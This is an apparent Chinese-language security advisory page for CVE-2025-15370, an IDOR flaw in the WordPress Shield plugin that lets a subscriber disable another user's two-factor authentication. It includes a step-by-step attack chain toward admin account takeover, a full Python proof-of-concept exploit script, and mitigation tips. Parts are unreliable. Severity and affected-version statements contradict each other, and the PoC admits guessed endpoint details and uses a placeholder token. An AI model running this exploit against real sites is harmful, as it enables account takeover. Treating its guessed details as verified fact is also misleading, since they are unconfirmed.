IPBUF安全漏洞报告
English
CVE-2025-15370 CVSS 4.3 中危

CVE-2025-15370 WordPress Shield插件IDOR漏洞可禁用任意用户双因素认证

披露日期: 2026-01-16

漏洞信息

漏洞编号
CVE-2025-15370
漏洞类型
IDOR(不安全直接对象引用)
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
WordPress Shield Security Plugin (wp-simple-firewall)

相关标签

IDORWordPress插件漏洞双因素认证绕过CVE-2025-15370Shield Security Plugin权限提升wp-simple-firewallMfaGoogleAuthToggle

漏洞概述

CVE-2025-15370是WordPress平台下"The Shield: Blocks Bots, Protects Users, and Prevents Security Breaches"插件中的一个高危安全漏洞。该插件是WordPress生态中广泛使用的安全防护工具,提供反垃圾邮件、防暴力破解、双因素认证等功能。漏洞存在于MfaGoogleAuthToggle类中,由于缺少对用户控制参数的有效验证,导致任何具有Subscriber级别权限的认证用户都可以通过构造恶意请求,禁用站点上任意其他用户的Google Authenticator双因素认证功能。此漏洞的CVSS评分为4.3,属于中等严重程度,但由于其可绕过双因素认证的特性,在实际攻击场景中可能造成严重后果。攻击者首先需要拥有一个有效的WordPress账户(最低Subscriber权限),然后可以通过操纵用户ID参数来禁用管理员或其他高权限用户的双因素认证,进而实施后续的账户接管攻击。该漏洞影响插件所有版本直至21.0.9版本。

技术细节

该漏洞的根本原因在于MfaGoogleAuthToggle类对用户提供的密钥参数缺乏充分的访问控制验证。在正常的双因素认证管理流程中,用户应该只能修改自己的认证设置,但代码实现中直接使用了用户可控的输入作为对象标识符,而没有进行所有权验证或权限检查。攻击者可以通过修改请求中的用户ID参数(如user_id或uid),指定目标用户(通常是管理员),然后发送禁用该用户Google Authenticator的请求。由于服务器端未验证当前认证用户是否具有修改目标用户设置的权限,攻击请求会被成功处理。漏洞利用的关键在于理解WordPress的权限模型——Subscriber角色虽然权限最低,但仍然是经过认证的用户,可以访问某些管理端点。攻击者利用这种权限模型的不一致性,结合IDOR漏洞实现权限提升。修复方案需要在MfaGoogleAuthToggle类的处理逻辑中添加当前用户身份与目标用户的匹配验证,确保只有用户本人或具有相应管理权限的管理员才能修改双因素认证设置。

攻击链分析

STEP 1
步骤1:信息收集
攻击者识别目标网站使用的WordPress版本,并确认安装了Shield Security Plugin且版本小于等于21.0.9。通过公开信息或扫描确定插件版本范围。
STEP 2
步骤2:账户创建/获取
攻击者注册一个WordPress账户(Subscriber级别权限),或利用已有账户。即使是最低权限的订阅者账户也足以利用此漏洞。
STEP 3
步骤3:获取访问令牌
攻击者通过正常登录流程获取有效的WordPress会话cookie和必要的security nonce,为后续AJAX请求做准备。
STEP 4
步骤4:构造恶意请求
攻击者构造针对wp-admin/admin-ajax.php的POST请求,指定action为mfa_google_auth_toggle,sub_action为disable,并通过user_id参数指定目标用户(通常是管理员用户ID=1)。
STEP 5
步骤5:触发IDOR漏洞
发送构造好的请求。由于服务器端缺少对user_id参数的访问控制验证,请求被成功处理,目标的Google Authenticator双因素认证被禁用。
STEP 6
步骤6:账户接管
攻击者获取目标账户的密码(通过暴力破解、钓鱼或其他方式),由于双因素认证已被禁用,可以直接登录目标账户,实现账户接管。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import re # CVE-2025-15370 PoC - IDOR in WordPress Shield Plugin # Target: WordPress site with Shield Security Plugin <= 21.0.9 # Vulnerability: Authenticated users can disable Google Authenticator for any user TARGET_URL = "http://target-wordpress-site.com" ATTACKER_USERNAME = "attacker_user" ATTACKER_PASSWORD = "attacker_password" TARGET_USER_ID = 1 # Usually admin user ID def get_nonce_and_cookie(): """Login as subscriber and get necessary tokens""" session = requests.Session() # Get login page to extract nonce login_page = session.get(f"{TARGET_URL}/wp-login.php") # Extract security nonce from login form nonce_match = re.search(r'name="_wpnonce" value="([a-z0-9]+)"', login_page.text) if not nonce_match: print("[-] Failed to extract nonce") return None, None nonce = nonce_match.group(1) # Login as low-privilege subscriber user login_data = { 'log': ATTACKER_USERNAME, 'pwd': ATTACKER_PASSWORD, 'wp-submit': 'Log In', '_wpnonce': nonce, 'redirect_to': f"{TARGET_URL}/wp-admin/" } login_response = session.post(f"{TARGET_URL}/wp-login.php", data=login_data) if 'wordpress_logged_in' not in session.cookies.get_dict(): print("[-] Login failed") return None, None print("[+] Login successful as subscriber") return session.cookies.get_dict(), session def exploit_idor(cookies, session): """Exploit IDOR to disable Google Authenticator for target user""" # The vulnerable endpoint is typically: # /wp-admin/admin-ajax.php # Action: mfa_google_auth_toggle exploit_data = { 'action': 'mfa_google_auth_toggle', 'sub_action': 'disable', 'user_id': TARGET_USER_ID, # IDOR: Attacker can specify any user 'security': 'dummy_security_token' # May need valid token } response = session.post( f"{TARGET_URL}/wp-admin/admin-ajax.php", data=exploit_data, cookies=cookies ) if response.status_code == 200: print(f"[+] Exploit sent - Target user_id: {TARGET_USER_ID}") print(f"[+] Response: {response.text}") return True return False def main(): print("[*] CVE-2025-15370 PoC - WordPress Shield Plugin IDOR") print("[*] Target: Disable Google Authenticator for any user") cookies, session = get_nonce_and_cookie() if not cookies: return exploit_idor(cookies, session) print("[*] Check if target user's Google Authenticator is disabled") if __name__ == "__main__": main()

影响范围

Shield Security Plugin < 21.0.9 (所有版本)

防御指南

临时缓解措施
如果无法立即升级插件,可以采取以下临时缓解措施:1) 限制新用户注册功能,防止攻击者获取Subscriber级别账户;2) 监控wp-admin/admin-ajax.php的mfa_google_auth_toggle请求日志,关注异常的user_id参数;3) 考虑暂时禁用Google Authenticator功能,使用其他双因素认证方式;4) 加强管理员账户的密码策略和监控;5) 使用Web应用防火墙拦截可疑请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表